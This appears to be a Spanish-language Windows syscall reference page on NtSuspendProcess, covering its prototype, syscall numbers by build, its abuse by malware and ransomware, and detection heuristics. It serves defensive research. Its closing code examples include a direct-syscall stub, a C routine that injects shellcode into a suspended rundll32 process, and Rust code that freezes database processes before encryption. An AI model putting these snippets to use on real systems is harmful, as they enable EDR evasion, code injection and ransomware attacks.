> Windows Syscalls
ntoskrnl.exeT1055T1562.001T1106

NtSuspendProcess

Suspende todos los hilos de un proceso objetivo incrementando el contador de suspensión de cada hilo.

Prototipo

NTSTATUS NtSuspendProcess(
  HANDLE ProcessHandle
);

Argumentos

NameTypeDirDescription
ProcessHandleHANDLEinHandle al proceso a suspender. Requiere PROCESS_SUSPEND_RESUME.

IDs de syscalls por versión de Windows

Versión de WindowsID de syscallBuild
Win10 15070x19Fwin10-1507
Win10 16070x1A8win10-1607
Win10 17030x1AEwin10-1703
Win10 17090x1B1win10-1709
Win10 18030x1B3win10-1803
Win10 18090x1B4win10-1809
Win10 19030x1B5win10-1903
Win10 19090x1B5win10-1909
Win10 20040x1BBwin10-2004
Win10 20H20x1BBwin10-20h2
Win10 21H10x1BBwin10-21h1
Win10 21H20x1BDwin10-21h2
Win10 22H20x1BDwin10-22h2
Win11 21H20x1C7win11-21h2
Win11 22H20x1CBwin11-22h2
Win11 23H20x1CBwin11-23h2
Win11 24H20x1CEwin11-24h2
Server 20160x1A8winserver-2016
Server 20190x1B4winserver-2019
Server 20220x1C3winserver-2022
Server 20250x1CEwinserver-2025

Módulo del kernel

ntoskrnl.exeNtSuspendProcess

APIs relacionadas

DebugActiveProcessSuspendThreadNtSuspendThreadNtResumeProcessNtOpenProcess

Stub del syscall

4C 8B D1            mov r10, rcx
B8 CE 01 00 00      mov eax, 0x1CE
F6 04 25 08 03 FE 7F 01   test byte ptr [0x7FFE0308], 1
75 03               jne short +3
0F 05               syscall
C3                  ret
CD 2E               int 2Eh
C3                  ret

Notas no documentadas

NtSuspendProcess se exporta desde ntdll pero no está documentado en el SDK público de Windows; la ruta soportada es el wrapper Win32 (`SuspendThread` por cada hilo). Internamente recorre el EPROCESS ThreadListHead y llama a KeSuspendThread sobre cada entrada, así que se mantiene un contador de suspensión por hilo — un proceso suspendido N veces requiere N resumes. El SSN sube de forma constante entre builds (0x19F → 0x1CE) a medida que se insertan syscalls al final de la SSDT; la resolución dinámica es obligatoria.

Uso común por malware

El uso más conocido es el modelo **Fork & Run** de Cobalt Strike / BruteRatel con proceso sacrificable: spawn de un proceso benigno (rundll32.exe es canónico) suspendido, inyección del BOF / object file de la herramienta de post-explotación, ejecución y luego terminate o suspend pendiente de exfil. NtSuspendProcess también aparece en **sleeps de evasión AV** — en lugar de dormir dentro del implant (que sigue planificado y escaneable), el implant suspende un proceso helper hermano mientras los callbacks ETW se disparan con menos frecuencia. El ransomware lo usa antes de cifrar para congelar bases de datos (`sqlservr.exe`, `oracle.exe`, `mongod.exe`) y que los handles de archivo se liberen y los lock files no bloqueen el cifrado in-place (LockBit, Royal, BlackCat lo hacen). Por último, los atacantes suspenden procesos helper / scanner de EDR protegidos contra terminación pero no contra suspensión.

Oportunidades de detección

La telemetría es escasa — no hay evento Sysmon para suspensión de proceso, y la instrumentación Win32 SuspendThread rara vez captura todos los hilos de un EPROCESS en un tick. Fuentes útiles: faltan transiciones de estado tipo `Microsoft-Windows-Kernel-Process/ThreadStop` ETW, pero `Microsoft-Windows-Kernel-Audit-API-Calls` sí cubre las llamadas Nt*Process cuando la audit policy lo habilita. Heurística: un proceso con handles PROCESS_SUSPEND_RESUME sobre procesos no hijos, especialmente de imágenes de seguridad o base de datos, es sospechoso. Combinar la detección de NtSuspendProcess con NtWriteVirtualMemory + NtResumeProcess subsiguientes del mismo llamador para alerting Fork & Run de alta confianza.

Ejemplos de syscalls directos

asmx64 direct stub (Win11 24H2)

; Direct syscall stub for NtSuspendProcess (SSN 0x1CE on 24H2/2025)
; SSN climbs every release — resolve dynamically across builds.
NtSuspendProcess PROC
    mov  r10, rcx          ; syscall convention
    mov  eax, 1CEh         ; SSN
    syscall
    ret
NtSuspendProcess ENDP

cFork & Run sacrificial spawn

// Sacrificial-process pattern: spawn rundll32.exe suspended, then
// inject and execute a BOF or shellcode inside it. The host implant
// stays clean — only the helper carries the suspicious memory.
#include <windows.h>

typedef NTSTATUS (NTAPI *pNtSuspendProcess)(HANDLE);
typedef NTSTATUS (NTAPI *pNtResumeProcess)(HANDLE);

void ForkAndRun(LPVOID shellcode, SIZE_T shellcode_len) {
    STARTUPINFOW si = { sizeof si };
    PROCESS_INFORMATION pi;
    CreateProcessW(L"C:\\Windows\\System32\\rundll32.exe", NULL, NULL, NULL,
                   FALSE, CREATE_SUSPENDED | CREATE_NO_WINDOW,
                   NULL, NULL, &si, &pi);

    PVOID  remote = NULL;
    SIZE_T size = shellcode_len;
    NtAllocateVirtualMemory(pi.hProcess, &remote, 0, &size,
                            MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    NtWriteVirtualMemory(pi.hProcess, remote, shellcode, shellcode_len, NULL);

    HANDLE hThread = NULL;
    NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, pi.hProcess,
                     remote, NULL, 0, 0, 0, 0, NULL);
    // pi.hThread stays suspended; only the BOF thread runs to completion.
}

rustfreeze DBs before encryption

// Cargo: windows-sys = "0.59"
use windows_sys::Win32::Foundation::HANDLE;
use windows_sys::Win32::System::Threading::{OpenProcess, PROCESS_SUSPEND_RESUME};

extern "system" { fn NtSuspendProcess(handle: HANDLE) -> i32; }

pub unsafe fn freeze(pids: &[u32]) {
    for &pid in pids {
        let h = OpenProcess(PROCESS_SUSPEND_RESUME, 0, pid);
        if !h.is_null() { NtSuspendProcess(h); }
    }
}

Mapeos MITRE ATT&CK

Last verified: 2026-05-20